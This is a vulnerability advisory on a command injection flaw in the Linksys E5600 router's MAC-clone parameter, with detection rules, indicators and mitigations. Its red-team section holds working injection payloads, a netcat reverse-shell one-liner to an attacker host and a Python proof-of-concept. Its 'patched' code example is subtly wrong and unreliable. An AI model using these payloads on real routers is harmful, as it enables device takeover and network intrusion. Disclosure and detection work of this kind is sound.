CVE-2025-29228

Executive Summary

CVE-2025-29228 is a critical command injection vulnerability discovered in the Linksys E5600 router, specifically in firmware version V1.1.0.26. The flaw resides in the runtime.macClone function, where the mc.ip parameter is not properly sanitized, allowing an authenticated attacker to inject arbitrary operating system commands. Successful exploitation could lead to full device compromise, enabling attackers to pivot into internal networks, exfiltrate data, or establish persistent backdoors. As of this report, no official patch has been released by Linksys, and the vulnerability is considered unpatched.

This vulnerability is particularly dangerous for home and small office environments where the E5600 is commonly deployed. Given the lack of a patch, immediate mitigation through network segmentation and access controls is strongly advised.

CVSS Breakdown & Threat Level

While a formal CVSS vector is not provided, based on the nature of the vulnerability (authenticated command injection in a network device), the following assessment is made:

• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same network as the device.
• Attack Complexity (AC): Low (L) – Exploitation requires only sending a crafted HTTP request.
• Privileges Required (PR): Low (L) – The attacker needs valid credentials to the router's web interface.
• User Interaction (UI): None (N) – No user action is required beyond the attacker's request.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the router (e.g., internal network).
• Confidentiality (C): High (H) – Full device access allows reading of all data.
• Integrity (I): High (H) – Commands can modify system files and configurations.
• Availability (A): High (H) – Commands can crash the device or disrupt services.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical, due to the lack of a patch and the potential for lateral movement.

Deep Dive & Mechanics

The vulnerability is located in the runtime.macClone function, which is part of the router's web management interface. This function is designed to allow users to clone a MAC address for the WAN interface, a common feature in consumer routers. The mc.ip parameter is used to specify the IP address associated with the cloned MAC.

The root cause is a failure to sanitize user input before passing it to a system command. The application likely constructs a command string similar to:

echo <mc.ip> > /proc/some/file

or

iptables -t nat -A POSTROUTING -s <mc.ip> -j MASQUERADE

By injecting shell metacharacters (e.g., ;, |, &&, `), an attacker can break out of the intended command and execute arbitrary OS commands. For example, a payload like:

192.168.1.1; ls -la /

would execute ls -la / after the intended command.

The vulnerability is authenticated, meaning the attacker must first log into the router's web interface. However, default credentials are often unchanged, and brute-force attacks are feasible.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is typical of command injection flaws:

Vulnerable (Conceptual):

void runtime_macClone(char *mc_ip) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /proc/net/clone", mc_ip);
    system(cmd);
}

Patched (Conceptual):

void runtime_macClone(char *mc_ip) {
    // Validate IP address format
    if (!is_valid_ip(mc_ip)) {
        return error("Invalid IP");
    }
    // Use execve with separate arguments to avoid shell injection
    char *args[] = {"echo", mc_ip, ">", "/proc/net/clone", NULL};
    execve("/bin/echo", args, NULL);
}

The patched version would validate the input as a proper IP address and avoid using system() or any shell interpreter.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Linksys E5600 router with firmware V1.1.0.26.
2. Connect to the router's LAN port and access the web interface at http://192.168.1.1.
3. Log in with default credentials (admin:admin) or obtained credentials.

Exploitation Steps:

1. Navigate to the MAC Clone settings (typically under "Connectivity" or "WAN").
2. Intercept the request using a proxy like Burp Suite.
3. Modify the mc.ip parameter to include a command injection payload. For example:

   mc.ip=192.168.1.100;ping -c 5 10.0.0.5
   

4. Send the request. The router will execute the injected command.
5. For a reverse shell, use a payload like:

   mc.ip=192.168.1.100;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.5 4444 >/tmp/f
   

6. Listen on your attacker machine: nc -lvnp 4444.

Proof of Concept (PoC) Script:

import requests

target = "http://192.168.1.1"
username = "admin"
password = "admin"
payload = "192.168.1.100;id > /tmp/pwned"

# Login
session = requests.Session()
session.post(f"{target}/login.cgi", data={"user": username, "pass": password})

# Exploit
data = {"mc.ip": payload, "submit": "Save"}
response = session.post(f"{target}/apply.cgi", data=data)
print("Exploit sent. Check /tmp/pwned on the router.")

Blue Team (Defensive)

Detection:

• Monitor web logs for unusual mc.ip parameters containing shell metacharacters (;, |, &, `).
• Use network intrusion detection systems (NIDS) to alert on HTTP requests with suspicious patterns in the mc.ip field.
• Enable logging on the router (if available) and forward logs to a SIEM.

Mitigation:

• Immediately change default credentials to strong, unique passwords.
• Disable remote management (WAN-side access) of the router.
• Restrict LAN access to the router's web interface to trusted devices only.
• Implement network segmentation to isolate the router from critical assets.
• Monitor for outbound connections from the router to unknown IPs (potential reverse shells).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /apply.cgi with mc.ip containing shell metacharacters.
• Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 1337).
• DNS queries to domains associated with command and control (C2) infrastructure.

File System IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/pwned, /tmp/f).
• Modified system binaries or scripts in /sbin/ or /usr/sbin/.
• Presence of a reverse shell process (e.g., nc, bash listening on a socket).

Log IOCs:

• Repeated failed login attempts followed by a successful login.
• Entries in the router's log showing execution of system() calls with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2025_29228_Linksys_E5600_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-29228 in Linksys E5600"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29228"
    strings:
        $mc_ip = "mc.ip="
        $shell_meta1 = /[;|&`$]/
        $shell_meta2 = /\(\)/
        $cmd_inject = /mc\.ip=[^&]*[;|&`]/
    condition:
        $mc_ip and ($shell_meta1 or $shell_meta2 or $cmd_inject)
}

Sigma Rule

title: CVE-2025-29228 Linksys E5600 Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in HTTP requests to Linksys E5600 routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/apply.cgi'
        cs-uri-query|contains: 'mc.ip='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in IP fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-29228 Linksys E5600 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/apply.cgi"; http_uri;
    content:"mc.ip="; http_client_body;
    pcre:"/mc\.ip=[^&]*[;|&`]/";
    sid:10000001;
    rev:1;
    reference:cve,2025-29228;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Immediately change the router's admin password to a strong, unique password.
2. Disable Remote Management: Ensure the router's web interface is not accessible from the WAN side.
3. Restrict LAN Access: Use MAC address filtering or VLANs to limit which devices can access the router's management interface.
4. Monitor Logs: Enable and review router logs for any signs of exploitation.

Long-Term Actions:

1. Vendor Patch: Monitor Linksys's support page for a firmware update. Apply it as soon as it becomes available.
2. Replace Device: If a patch is not released in a timely manner, consider replacing the E5600 with a more secure router model.
3. Network Segmentation: Place the router in a separate VLAN with strict firewall rules to limit the blast radius of a compromise.
4. IDS/IPS: Deploy network intrusion detection/prevention systems to detect and block exploitation attempts.

Workaround:

• If the MAC Clone feature is not needed, disable it entirely through the router's web interface. This removes the attack surface.

Valters IT